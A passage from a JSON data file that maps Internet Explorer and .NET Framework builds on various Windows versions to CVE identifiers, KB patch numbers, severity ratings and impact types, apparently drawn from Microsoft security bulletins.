Execution"},{"cve":"CVE-2018-8355","kb":"4343898","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471320","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471320","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471320","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480963","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493446","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525243","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003209","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows Server 2016":[{"cve":"CVE-2016-7241","kb":"3200970","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013429","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4013429","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041691","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041691","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048953","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053579","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025339","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034658","severity":"Low","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034658","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034658","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088787","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088787","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103723","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338814","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338814","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343887","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467691","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471321","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471321","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471321","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480961","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493470","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525236","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537764","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003197","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows Server 2019":[{"cve":"CVE-2018-8552","kb":"4467708","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471332","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471332","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471332","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480116","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493509","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4523205","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532691","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003171","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 9 on Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4047206","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025252","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034733","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4089187","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4089187","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343205","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471325","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471325","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471325","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480968","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525234","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003210","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 9 on Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4047206","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025252","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034733","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4089187","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4089187","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343205","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471325","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471325","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471325","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480968","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525234","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003210","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 9 on Windows Vista Service Pack 2":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Important","impact":"Information Disclosure"}],"Internet Explorer 9 on Windows Vista x64 Edition Service Pack 2":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Important","impact":"Information Disclosure"}],"Microsoft .NET Framework 2.0 Service Pack 2 on Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040978","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566469","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 2.0 Service Pack 2 on Windows Server 2008 for Itanium-Based Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040978","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 2.0 Service Pack 2 on Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040978","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566469","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.0 Service Pack 2 on Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566469","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.0 Service Pack 2 on Windows Server 2008 for Itanium-Based Systems Service Pack 2":[{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.0 Service Pack 2 on Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566469","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.6.2/4.7/4.7.1/4.7.2 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4534271","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580346","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.6.2/4.7/4.7.1/4.7.2 on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4534271","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580346","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2016":[{"cve":"CVE-2020-0646","kb":"4534271","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580346","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2016 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4534271","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580346","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.6/4.6.1/4.6.2 on Windows 10 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4534306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580327","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.6/4.6.1/4.6.2 on Windows 10 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4534306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580327","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.1/4.7.2 on Windows 10 Version 1709 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4534276","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580328","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.1/4.7.2 on Windows 10 Version 1709 for ARM64-based Systems":[{"cve":"CVE-2020-1147","kb":"4580328","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.1/4.7.2 on Windows 10 Version 1709 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4534276","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580328","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1803 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4534293","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580330","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1803 for ARM64-based Systems":[{"cve":"CVE-2020-1147","kb":"4580330","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1803 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4534293","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580330","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1809 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1809 for ARM64-based Systems":[{"cve":"CVE-2020-1147","kb":"4578973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1809 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows Server 2019":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows Server 2019 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows Server, version 1803 (Server Core Installation)":[{"cve":"CVE-2020-0646","kb":"4534293","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580330","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1809 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579976","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1809 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579976","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1903 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4532938","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1903 for ARM64-based Systems":[{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1903 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4532938","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1909 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4532938","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1909 for ARM64-based Systems":[{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1909 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4532938","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 2004 for 32-bit Systems":[{"cve":"CVE-2020-1147","kb":"4578968","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 2004 for ARM64-based Systems":[{"cve":"CVE-2020-1147","kb":"4578968","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 2004 for x64-based Systems":[{"cve":"CVE-2020-1147","kb":"4578968","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server 2019":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579976","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server 2019 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579976","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server, version 1903 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4532938","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server, version 1909 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4532938","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server, version 2004 (Server Core installation)":[{"cve":"CVE-2020-1147","kb":"4578968","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 Version 1511 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038783","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 Version 1511 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038783","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4534271","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 Version 1703 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038788","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 Version 1703 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038788","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038781","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038781","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2017-8759","kb":"4040981","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2017-8759","kb":"4040981","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows Server 2012":[{"cve":"CVE-2017-8759","kb":"4040979","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566467","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040979","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566467","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows Server 2012 R2":[{"cve":"CVE-2017-8759","kb":"4040981","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows Server 2016":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows Server 2016 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5.1 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040980","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5.1 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040980","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5.1 on Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040980","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5.1 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040980","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5.1 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040980","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040977","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040977","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2017-8759","kb":"4040974","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2017-8759","kb":"4040974","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows RT 8.1":[{"cve":"CVE-2017-8759","kb":"4040974","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040977","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040977","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040977","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566469","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040977","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566469","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2012":[{"cve":"CVE-2017-8759","kb":"4040975","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566467","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040975","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566467","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 